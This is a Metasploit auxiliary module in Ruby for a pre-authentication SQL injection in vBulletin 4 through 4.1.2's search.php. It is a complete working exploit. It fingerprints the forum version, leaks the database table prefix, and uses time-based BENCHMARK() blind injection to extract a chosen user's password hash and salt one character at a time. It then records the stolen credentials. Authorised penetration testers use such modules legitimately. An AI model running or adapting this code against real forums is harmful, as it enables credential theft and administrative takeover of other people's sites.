# Requirements require 'msf/core' # Class declaration class Metasploit3 < Msf::Auxiliary # Includes include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient # Initialize module def initialize(info = {}) # Initialize information super(update_info(info, 'Name' => 'vBulletin 4 <= 4.1.2 search.php SQL Injection', 'Description' => %q{ vBulletin versions 4 <= 4.1.2 are vulnerable to a preauth SQL Injection issue that may be used by an attacker to extract user credentials, and potentially gain administrative access, potentially leading to remote PHP code execution. NOTES: ------------------------------------------------ * Do not set the BMCT option too high! * Do not set the BMCT option too low either ... * A delay of about three to five seconds is ideal * Increase BMRC if you have issues with reliability }, 'Author' => [ # Exploit Only 'James Bercegay ( http://www.gulftech.org/ )' ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '47281' ], ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'April 11, 2011', 'DefaultTarget' => 0 )) register_options( [ # Required OptString.new('VDIR', [true, 'vBulletin directory', '/']), # The number of function iterations to run during the benchmark OptInt.new('BMCT', [true, 'Benchmark Counter' , 500000 ]), # This is the benchmark delay threshold (in seconds) OptInt.new('BMDF', [true, 'Benchmark Difference' , 3 ]), # The number of benchmark tests to make during each data request. # This number may be increased for accuracy if you have problems. OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]), # Optional OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]), OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]), OptInt.new( 'RLIM', [false, 'Random string limit' , 8 ]), # Database table prefix OptString.new('PREF', [false, 'Database table prefix', nil ]), # Target user id OptInt.new('TUID', [true, 'User ID to target', 1 ]), ], self.class) end ################################################# # Extract "Set-Cookie" def init_cookie(data, cstr = true) # Raw request? Or cookie data specifically? data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data # Beginning if ( data ) # Break them apart data = data.split(', ') # Initialize ctmp = '' tmps = {} # Parse cookies data.each do | x | # Remove extra data x = x.split(';')[0] # Seperate cookie pairs if ( x =~ /([^;\s]+)=([^;\s]+)/im ) # Key k = $1 # Val v = $2 # Valid cookie value? if ( v.length() > 0 ) # Build cookie hash tmps[k] = v # Report cookie status print_status("Got Cookie: #{k} => #{v}"); end end end # Build string data if ( cstr == true ) # Loop tmps.each do |x,y| # Cookie key/value ctmp << "#{x}=#{y};" end # Assign tmps['cstr'] = ctmp end # Return return tmps else # Something may be wrong init_debug("No cookies within the given response") end end ################################################# # Simple debugging output def init_debug(resp, exit = 0) # is DBUG set? Check it if ( datastore['DBUG'] ) # Print debugging data print_status("######### DEBUG! ########") pp resp print_status("#########################") end # Continue execution if ( exit.to_i > 0 ) # Exit exit(0) end end ################################################# # Generic post wrapper def http_post(url, data, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "application/x-www-form-urlencoded" # Determine Content-Length headers['Content-Length'] = data.length # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw( { 'uri' => datastore['VDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout ) # Returned return resp end ################################################# # Generic post multipart wrapper def http_post_multipart(url, data, headers = {}, timeout = 15) # Boundary string bndr = Rex::Text.rand_text_alphanumeric(8) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}" # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Init temp = '' # Parse form values data.each do |name, value| # Hash means file data if ( value.is_a?(Hash) ) # Validate form fields filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1) contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1) mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1) encoding = value['encoding'] ? value['encoding']: "Binary" # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n" temp << "Content-Type: #{mimetype}\r\n" temp << "Content-Transfer-Encoding: #{encoding}\r\n" temp << "\r\n" temp << "#{contents}\r\n" else # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n" temp << "\r\n" temp << "#{value}\r\n" end end # Complete the form data temp << "--#{bndr}--\r\n" # Assigned data = temp # Determine Content-Length headers['Content-Length'] = data.length # Send request resp = send_request_raw( { 'uri' => datastore['VDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout) # Returned return resp end ################################################# # Generic get wrapper def http_get(url, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['VDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value // Also, remove post specific data, due to a bug ... if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw({ 'uri' => datastore['VDIR'] + url, 'headers' => headers, 'method' => 'GET', }, timeout) # Returned return resp end ################################################# # Used to perform benchmark querys def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil ) # Init wait = 0 # Defaults table = table ? table: 'user' # SQL Injection string used to trigger the MySQL BECNHMARK() function sqli = Rex::Text.uri_encode("-99) UNION SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} -- /*") # Post data used for the test post = "contenttypeid=7&do=process&humanverify=1&cat[]=#{sqli}" # Number of tests to run. We run this # amount of tests and then look for a # median value that is greater than # the benchmark difference. tnum = tnum ? tnum: datastore['BMRC'] # Run the tests tnum.to_i.times do | i | # Start time bmc1 = Time.now.to_i # Make the request init_debug(http_post("search.php", post)) # End time bmc2 = Time.now.to_i # Total time wait += bmc2 - bmc1 end # Return the results return ( wait.to_i / tnum.to_i ) end ################################################# def get_users_data(snum, slim, cset, sqlf, sqlw) # Start time tot1 = Time.now.to_i # Initialize reqc = 0 retn = String.new # Extract salt for i in snum..slim # Offset position oset = ( i - snum ) + 1 # Loop charset for cbit in cset # Test character cbit.each do | cchr | # Start time (overall) bmc1 = Time.now.to_i # Benchmark query with escaped wildcard chars bmcv = ( cchr.ord() == 37 || cchr.ord() == 95 ) ? sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CONCAT(CHAR(92),CHAR(#{cchr.ord}))", "user", sqlw, datastore['BMRC']): sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "user", sqlw, datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Verbose print_status(sprintf("Character %02s is %s", oset.to_s, cchr )) # Append chr retn << cchr # Exit loop break end # Counter reqc += 1 end # each end # for # Host not vulnerable? if ( oset != retn.length ) # Failure print_error("Unable to extract character ##{oset.to_s}. Extraction failed!") return nil end end # for # End time (total) tot2 = Time.now.to_i # Benchmark totals tot3 = tot2 - tot1 # Verbose print_status("Found data: #{retn}") print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )") # Return return retn end ################################################# def run # Numeric test string tstr = Time.now.to_i.to_s # MD5 test string tmd5 = Rex::Text.md5(tstr) ################################################# # STEP 01 // Attempt to extract vBulletin version ################################################# # Verbose print_status("Attempting to determine vBulletin version") # Banner grab request resp = http_get("index.php") # Extract vBulletin version information if ( resp.body =~ /name="generator" content="vBulletin ([^"]+)"/ ) # Version vers = $1.strip # Version "parts" ver1, ver2, ver3 = vers.split(/\./) # vBulletin 4.0 - 4.1.2 if ( ver1.to_i != 4 || ver2.to_i > 1 || ( ver2.to_i > 0 && ver3.to_i > 2 ) ) # Exploit failed print_error("Only vBulletin versions 4.1.2 and earlier are vulnerable") init_debug(resp) return else # Verbose print_status("Target is running vBulletin version: #{vers}") end else # Verbose print_error("Unable to determine vBulletin version ...") init_debug(resp) end ################################################# # STEP 02 // Check to make sure that the search # feature is actually enabled before proceeding ################################################# # Request the search page resp = http_get("search.php?do=process") # Is the search form present? if ( resp.body !~ /id="searchform"/ ) # Verbose print_error("The search feature seems to be disabled. Exploit failed!") init_debug(resp) return end ################################################# # STEP 03 // Make sure we have valid table prefix ################################################# # Got database prefix? if ( !datastore['PREF'] ) # Post data post = "contenttypeid=7&do=process&humanverify=1&cat[]=)" # Request the search page resp = http_post("search.php?do=process", post) # Attempt to extract the database table prefix if ( resp.body =~ /DISTINCT socialgroupcategory.title from ([^\s]+)socialgroupcategory AS/ ) # Prefix datastore['PREF'] = $1.strip # Got prefix print_good("Successfully extracted database prefix: #{datastore['PREF']}") else # Prefix datastore['PREF'] = String.new() # Verbose print_status("Unable to determine table prefix. Using default values") init_debug(resp) end end ################################################# # STEP 04 // Calculate BENCHMARK() response times ################################################# # Verbose print_status("Calculating target response times") print_status("Benchmarking #{datastore['BMRC']} normal requests") # Normal request median (globally accessible) datastore['BMC0'] = sql_benchmark("1=2") # Verbose print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds") print_status("Benchmarking #{datastore['BMRC']} delayed requests") # Delayed request median bmc1 = sql_benchmark("1=1") # Verbose print_status("Delayed request avg: #{bmc1.to_s} seconds") # Benchmark totals bmct = bmc1 - datastore['BMC0'] # Delay too small. The host may not be # vulnerable. Try increasing the BMCT. if ( bmct.to_i < datastore['BMDF'].to_i ) # Verbose print_error("Either your benchmark threshold is too small, or host is not vulnerable") print_error("To increase the benchmark threshold adjust the value of the BMDF option") print_error("To increase the expression iterator adjust the value of the BMCT option") return else # Host appears exploitable print_status("Request Difference: #{bmct.to_s} seconds") end ################################################# # These are the charsets used for the enumeration # operations and can be easily expanded if needed ################################################# # Hash charset a-f0-9 hdic = [ ('a'..'f'), ('0'..'9') ] # Salt charset ! - ~ sdic = [ ('!' .. '~') ] ################################################# # STEP 05 // Attempt to extract user pass hash ################################################# # Verbose print_status("Attempting to gather user password hash") # Get pass hash if ( !( hash = get_users_data( 1, # Length Start 32, # Length Maximum hdic, # Charset Array "password", # SQL Field name "userid=#{datastore['TUID'].to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather user pass hash. Exploit failed!!") return end ################################################# # STEP 06 // Determine the length of user salt ################################################# # The current limit for user salt length is hard # coded to 30 chars via the database structure for i in 1.upto(30) # Benchmark bmcv = sql_benchmark("LENGTH(salt)=#{i.to_s}", "user", "userid=#{datastore['TUID'].to_s}", datastore['BMRC']) # Noticable delay? We must have a match! ;) if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) # Length slen = i # Verbose print_status("Target is using a #{slen.to_s} character salt") break else # Out of time .. if ( i == 30 ) # Failure print_error("Unable to determine salt length. Exploit failed!") return end end end ################################################# # STEP 07 // Attempt to extract user pass salt ################################################# # Verbose print_status("Attempting to gather user password salt") # Get pass salt if ( !( salt = get_users_data( 1, # Length Start slen, # Length Maximum sdic, # Charset Array "salt", # SQL Field name "userid=#{datastore['TUID'].to_s}" # SQL Where data ) ) ) # Failure print_error("Unable to gather user pass salt. Exploit failed!!") return end ################################################# # STEP 08 // Attempt to gather target username ################################################# # Verbose print_status("Attempting to gather target username") # Request profile data resp = http_get("member.php?#{datastore['TUID'].to_s}") # Extract username if ( resp.body =~ /([^<]+)/ ) # Username user = $1.strip() # Verbose print_good("Got username: #{user}") else # Unavailable user = "N/A" # Verbose print_error("Unable to gather target username!") end # Verbose print_status("USER: #{user} (ID: #{datastore['TUID'].to_s})") print_status("HASH: #{hash}") print_status("SALT: #{salt}") print_status("Inserting credentials into the note database ...") # Note data ndat = { # vBulletin directory "VDIR" => datastore['VDIR'], # Target User ID "TUID" => datastore['TUID'], # User name "USER" => user, # User hash "HASH" => hash, # User salt "SALT" => salt, # Version "VERS" => vers, } # Save results report_note( :host => datastore['RHOST'], :proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS', :port => datastore['RPORT'], :type => "vBulletin Credentials", :data => ndat ) end end